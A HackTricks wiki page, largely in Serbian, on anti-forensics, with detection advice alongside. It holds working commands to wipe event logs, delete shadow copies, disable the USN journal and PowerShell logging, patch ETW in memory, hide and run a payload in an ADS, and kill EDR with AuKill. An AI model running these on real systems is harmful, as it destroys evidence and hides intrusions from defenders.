Anti-Forensic Techniques
Reading time: 13 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Timestamps
Napadač može biti zainteresovan za promenu vremenskih oznaka datoteka kako bi izbegao otkrivanje.
Moguće je pronaći vremenske oznake unutar MFT u atributima $STANDARD_INFORMATION
__ i __ $FILE_NAME
.
Oba atributa imaju 4 vremenske oznake: Modifikacija, pristup, kreiranje i modifikacija MFT registra (MACE ili MACB).
Windows explorer i drugi alati prikazuju informacije iz $STANDARD_INFORMATION
.
TimeStomp - Anti-forensic Tool
Ovaj alat modifikuje informacije o vremenskim oznakama unutar $STANDARD_INFORMATION
ali ne informacije unutar $FILE_NAME
. Stoga, moguće je identifikovati sumnjivu aktivnost.
Usnjrnl
USN Journal (Dnevnik broja ažuriranja) je funkcija NTFS (Windows NT datotečni sistem) koja prati promene na volumenu. Alat UsnJrnl2Csv omogućava ispitivanje ovih promena.
Prethodna slika je izlaz prikazan od strane alata gde se može primetiti da su neke promene izvršene na datoteci.
$LogFile
Sve promene metapodataka na datotečnom sistemu se beleže u procesu poznatom kao write-ahead logging. Beleženi metapodaci se čuvaju u datoteci nazvanoj **$LogFile**
, koja se nalazi u korenskom direktorijumu NTFS datotečnog sistema. Alati kao što su LogFileParser mogu se koristiti za analizu ove datoteke i identifikaciju promena.
Ponovo, u izlazu alata moguće je videti da su neke promene izvršene.
Korišćenjem istog alata moguće je identifikovati kada su vremenske oznake modifikovane:
- CTIME: Vreme kreiranja datoteke
- ATIME: Vreme modifikacije datoteke
- MTIME: Modifikacija registra datoteke MFT
- RTIME: Vreme pristupa datoteci
$STANDARD_INFORMATION
i $FILE_NAME
poređenje
Još jedan način da se identifikuju sumnjivo modifikovane datoteke bio bi da se uporede vremena na oba atributa tražeći neusklađenosti.
Nanosekunde
NTFS vremenske oznake imaju preciznost od 100 nanosekundi. Stoga, pronalaženje datoteka sa vremenskim oznakama poput 2010-10-10 10:10:00.000:0000 je veoma sumnjivo.
SetMace - Anti-forensic Tool
Ovaj alat može modifikovati oba atributa $STARNDAR_INFORMATION
i $FILE_NAME
. Međutim, od Windows Vista, potrebno je da živi OS modifikuje ove informacije.
Data Hiding
NFTS koristi klaster i minimalnu veličinu informacija. To znači da ako datoteka koristi i klaster i pola, preostala polovina nikada neće biti korišćena dok se datoteka ne obriše. Stoga, moguće je sakriti podatke u ovom slobodnom prostoru.
Postoje alati poput slacker koji omogućavaju skrivanje podataka u ovom "skrivenom" prostoru. Međutim, analiza $logfile
i $usnjrnl
može pokazati da su neki podaci dodati:
Stoga, moguće je povratiti slobodan prostor koristeći alate poput FTK Imager. Imajte na umu da ovaj tip alata može sačuvati sadržaj obfuskovan ili čak enkriptovan.
UsbKill
Ovo je alat koji će isključiti računar ako se otkrije bilo kakva promena na USB portovima.
Jedan od načina da se to otkrije bio bi da se ispita pokrenuti procesi i pregleda svaki python skript koji se izvršava.
Live Linux Distributions
Ove distribucije su izvršene unutar RAM memorije. Jedini način da ih otkrijete je ako je NTFS datotečni sistem montiran sa dozvolama za pisanje. Ako je montiran samo sa dozvolama za čitanje, neće biti moguće otkriti upad.
Secure Deletion
https://github.com/Claudio-C/awesome-data-sanitization
Windows Configuration
Moguće je onemogućiti nekoliko metoda beleženja u Windows-u kako bi se forenzička istraga učinila mnogo težom.
Disable Timestamps - UserAssist
Ovo je ključ registra koji održava datume i sate kada je svaki izvršni program pokrenut od strane korisnika.
Onemogućavanje UserAssist zahteva dva koraka:
- Postavite dva ključa registra,
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
iHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled
, oba na nulu kako bi se signalizovalo da želimo da onemogućimo UserAssist. - Očistite svoje podključeve registra koji izgledaju kao
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>
.
Disable Timestamps - Prefetch
Ovo će sačuvati informacije o aplikacijama izvršenim sa ciljem poboljšanja performansi Windows sistema. Međutim, ovo može biti korisno i za forenzičke prakse.
- Izvršite
regedit
- Izaberite putanju datoteke
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters
- Desni klik na
EnablePrefetcher
iEnableSuperfetch
- Izaberite Izmeni na svakom od ovih da promenite vrednost sa 1 (ili 3) na 0
- Ponovo pokrenite
Disable Timestamps - Last Access Time
Kad god se folder otvori sa NTFS volumena na Windows NT serveru, sistem uzima vreme da ažurira polje vremenske oznake na svakom navedenom folderu, koje se zove vreme poslednjeg pristupa. Na NTFS volumenu koji se često koristi, ovo može uticati na performanse.
- Otvorite Registry Editor (Regedit.exe).
- Pretražite do
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
. - Potražite
NtfsDisableLastAccessUpdate
. Ako ne postoji, dodajte ovaj DWORD i postavite njegovu vrednost na 1, što će onemogućiti proces. - Zatvorite Registry Editor i ponovo pokrenite server.
Delete USB History
Sve USB Device Entries se čuvaju u Windows Registry pod USBSTOR ključem registra koji sadrži podključeve koji se kreiraju svaki put kada priključite USB uređaj u svoj PC ili laptop. Možete pronaći ovaj ključ ovde HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
. Brisanjem ovog obrišete USB istoriju.
Takođe možete koristiti alat USBDeview da biste bili sigurni da ste ih obrisali (i da ih obrišete).
Još jedna datoteka koja čuva informacije o USB-ima je datoteka setupapi.dev.log
unutar C:\Windows\INF
. Ova datoteka takođe treba da bude obrisana.
Disable Shadow Copies
Lista senčnih kopija sa vssadmin list shadowstorage
Obrišite ih pokretanjem vssadmin delete shadow
Takođe ih možete obrisati putem GUI prateći korake predložene u https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html
Da biste onemogućili senčne kopije koraci su ovde:
- Otvorite program Services tako što ćete otkucati "services" u tekstualnu pretragu nakon što kliknete na Windows dugme za pokretanje.
- Iz liste pronađite "Volume Shadow Copy", izaberite ga, a zatim pristupite Svojstvima desnim klikom.
- Izaberite Onemogućeno iz padajućeg menija "Tip pokretanja", a zatim potvrdite promenu klikom na Primeni i U redu.
Takođe je moguće modifikovati konfiguraciju koje datoteke će biti kopirane u senčnu kopiju u registru HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot
Overwrite deleted files
- Možete koristiti Windows alat:
cipher /w:C
Ovo će označiti cipher da ukloni sve podatke iz dostupnog neiskorišćenog prostora na disku unutar C diska. - Takođe možete koristiti alate poput Eraser
Delete Windows event logs
- Windows + R --> eventvwr.msc --> Proširite "Windows Logs" --> Desni klik na svaku kategoriju i izaberite "Clear Log"
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }
Disable Windows event logs
reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f
- Unutar sekcije servisa onemogućite servis "Windows Event Log"
WEvtUtil.exec clear-log
iliWEvtUtil.exe cl
Disable $UsnJrnl
fsutil usn deletejournal /d c:
Advanced Logging & Trace Tampering (2023-2025)
PowerShell ScriptBlock/Module Logging
Nedavne verzije Windows 10/11 i Windows Server čuvaju bogate forenzičke artefakte PowerShell-a pod
Microsoft-Windows-PowerShell/Operational
(događaji 4104/4105/4106).
Napadači mogu onemogućiti ili obrisati ih u hodu:
# Turn OFF ScriptBlock & Module logging (registry persistence)
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
-Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
-Name EnableModuleLogging -Value 0 -PropertyType DWord -Force
# In-memory wipe of recent PowerShell logs
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Remove-WinEvent # requires admin & Win11 23H2+
Defenderi bi trebali pratiti promene na tim registrima i visoki obim uklanjanja PowerShell događaja.
ETW (Event Tracing for Windows) Patch
Proizvodi za bezbednost krajnjih tačaka se u velikoj meri oslanjaju na ETW. Popularna metoda izbegavanja iz 2024. godine je patchovanje ntdll!EtwEventWrite
/EtwEventWriteFull
u memoriji tako da svaki ETW poziv vraća STATUS_SUCCESS
bez emitovanja događaja:
// 0xC3 = RET on x64
unsigned char patch[1] = { 0xC3 };
WriteProcessMemory(GetCurrentProcess(),
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
patch, sizeof(patch), NULL);
Public PoCs (e.g. EtwTiSwallow
) implement the same primitive in PowerShell or C++.
Zbog toga što je zakrpa lokalna za proces, EDR-ovi koji rade unutar drugih procesa mogu je propustiti.
Detekcija: uporediti ntdll
u memoriji naspram na disku, ili hook pre korisničkog moda.
Revival Alternativnih Podataka (ADS)
Malware kampanje u 2023. (npr. FIN12 loaderi) su primećene kako postavljaju binarne datoteke druge faze unutar ADS-a da bi ostale van vidokruga tradicionalnih skenera:
rem Hide cobalt.bin inside an ADS of a PDF
type cobalt.bin > report.pdf:win32res.dll
rem Execute directly
wmic process call create "cmd /c report.pdf:win32res.dll"
Enumerišite tokove sa dir /R
, Get-Item -Stream *
, ili Sysinternals streams64.exe
. Kopiranje host fajla na FAT/exFAT ili putem SMB će ukloniti skriveni tok i može se koristiti od strane istražitelja za oporavak payload-a.
BYOVD & “AuKill” (2023)
Bring-Your-Own-Vulnerable-Driver se sada rutinski koristi za anti-forensics u ransomware
napadima. Open-source alat AuKill učitava potpisani, ali ranjivi drajver (procexp152.sys
) da
suspenduje ili prekine EDR i forenzičke senzore pre nego što dođe do enkripcije i uništavanja logova:
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
AuKill.exe -k CrowdStrike
Vozač se uklanja nakon toga, ostavljajući minimalne artefakte.
Mere zaštite: omogućite Microsoftovu blok listu ranjivih vozača (HVCI/SAC) i obavestite o kreiranju kernel-servisa iz putanja koje korisnik može da piše.
Linux Anti-Forensics: Samo-popravljanje i Cloud C2 (2023–2025)
Samo-popravljanje kompromitovanih servisa za smanjenje detekcije (Linux)
Protivnici sve više "samo-popravljaju" servis odmah nakon što ga iskoriste kako bi sprečili ponovnu eksploataciju i suprimili detekcije zasnovane na ranjivostima. Ideja je da se ranjivi komponenti zamene najnovijim legitimnim upstream binarnim datotekama/JAR-ovima, tako da skeneri prijavljuju host kao popravljen dok persistencija i C2 ostaju.
Primer: Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604)
- Nakon eksploatacije, napadači su preuzeli legitimne JAR-ove sa Maven Central (repo1.maven.org), obrisali ranjive JAR-ove u ActiveMQ instalaciji i ponovo pokrenuli broker.
- Ovo je zatvorilo inicijalni RCE dok su se održali drugi uporišta (cron, promene SSH konfiguracije, odvojeni C2 implantati).
Operativni primer (ilustrativno)
# ActiveMQ install root (adjust as needed)
AMQ_DIR=/opt/activemq
cd "$AMQ_DIR"/lib
# Fetch patched JARs from Maven Central (versions as appropriate)
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar
# Remove vulnerable files and ensure the service uses the patched ones
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
ln -sf activemq-client-5.18.3.jar activemq-client.jar
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar
# Apply changes without removing persistence
systemctl restart activemq || service activemq restart
Forenzička/istraživačka uputstva
- Pregledajte direktorijume usluga za neplanirane zamene binarnih/JAR datoteka:
- Debian/Ubuntu:
dpkg -V activemq
i uporedite heš/putanje datoteka sa repozitorijumima. - RHEL/CentOS:
rpm -Va 'activemq*'
- Potražite JAR verzije prisutne na disku koje nisu u vlasništvu menadžera paketa, ili simboličke linkove ažurirane van kanala.
- Vremenska linija:
find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort
za korelaciju ctime/mtime sa vremenom kompromitacije. - Istorija ljuske/telemetrija procesa: dokazi o
curl
/wget
karepo1.maven.org
ili drugim CDN-ovima artefakata odmah nakon inicijalne eksploatacije. - Upravljanje promenama: validirajte ko je primenio “zakrpu” i zašto, ne samo da je prisutna verzija sa zakrpom.
Cloud‑service C2 sa bearer tokenima i anti‑analitičkim stagerima
Posmatrano trgovanje kombinovalo je više dugoročnih C2 puteva i anti‑analitičko pakovanje:
- Loader-i PyInstaller ELF zaštićeni lozinkom kako bi se otežalo korišćenje sandboxes i statička analiza (npr., enkriptovani PYZ, privremena ekstrakcija pod
/_MEI*
). - Indikatori:
strings
hitovi kao što suPyInstaller
,pyi-archive
,PYZ-00.pyz
,MEIPASS
. - Artefakti u vreme izvršavanja: ekstrakcija u
/tmp/_MEI*
ili prilagođene--runtime-tmpdir
putanje. - C2 podržan Dropbox-om koristeći hardkodirane OAuth Bearer tokene
- Mrežni markeri:
api.dropboxapi.com
/content.dropboxapi.com
saAuthorization: Bearer <token>
. - Istražujte u proxy/NetFlow/Zeek/Suricata za izlazni HTTPS ka Dropbox domenima iz serverskih radnih opterećenja koja obično ne sinhronizuju datoteke.
- Paralelni/rezervni C2 putem tunelovanja (npr., Cloudflare Tunnel
cloudflared
), zadržavajući kontrolu ako je jedan kanal blokiran. - Host IOCs:
cloudflared
procesi/jedinice, konfiguracija na~/.cloudflared/*.json
, izlazni 443 ka Cloudflare ivicama.
Postojanost i “hardening rollback” za održavanje pristupa (primeri za Linux)
Napadači često kombinuju samopročišćavanje sa trajnim pristupnim putevima:
- Cron/Anacron: izmene u
0anacron
stubu u svakom/etc/cron.*/
direktorijumu za periodičnu izvršavanje. - Istražujte:
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
- Hardening rollback SSH konfiguracije: omogućavanje root prijava i menjanje podrazumevanih ljuski za naloge sa niskim privilegijama.
- Istražujte za omogućavanje root prijava:
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
# vrednosti zastavica kao što su "yes" ili previše permisivne postavke
- Istražujte sumnjive interaktivne ljuske na sistemskim nalozima (npr.,
games
):
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
- Nasumični, kratko imenovani beacon artefakti (8 slova) postavljeni na disk koji takođe kontaktiraju cloud C2:
- Istražujte:
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
Odbrambeni timovi treba da koreliraju ove artefakte sa spoljnim izlaganjem i događajima zakrpa usluga kako bi otkrili anti‑forenzičko samopročišćavanje korišćeno za prikrivanje inicijalne eksploatacije.
Reference
-
Sophos X-Ops – “AuKill: A Weaponized Vulnerable Driver for Disabling EDR” (mart 2023) https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr
-
Red Canary – “Patching EtwEventWrite for Stealth: Detection & Hunting” (jun 2024) https://redcanary.com/blog/etw-patching-detection
-
Red Canary – Patching for persistence: How DripDropper Linux malware moves through the cloud
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.